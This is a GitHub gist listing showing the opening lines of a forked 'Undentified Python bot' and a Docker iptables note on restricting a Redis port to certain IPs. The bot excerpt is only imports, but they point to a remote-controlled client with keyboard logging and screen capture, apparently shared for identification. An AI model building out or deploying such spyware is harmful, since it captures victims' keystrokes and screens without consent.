Skip to content

Instantly share code, notes, and snippets.

@th3gundy
th3gundy / main.py
Created August 5, 2022 15:27 — forked from usualsuspect/main.py
Undentified Python bot
import subprocess, socketio
from enum import Enum
import requests
from time import sleep
from PIL import ImageGrab
import os
from datetime import datetime, timedelta
from pynput.keyboard import Listener
allowed_methods = {
'get','post','put','options','delete','patch','head'}
@th3gundy
th3gundy / expose.sh
Created September 20, 2022 14:33 — forked from Shawyeok/expose.sh
Expose docker container port to specific IP addresses only
# For example, I have a redis container, I want it only serve for specific IP addresses: 172.31.101.37, 172.31.101.38
$ docker run -d -p 6379:6379 redis:2.8
# After start redis container, the iptables looks like this:
$ iptables -t filter -nL
Chain DOCKER (1 references)
target prot opt source destination
ACCEPT tcp -- 0.0.0.0/0 172.17.0.2 tcp dpt:6379
# Get the IP address of redis container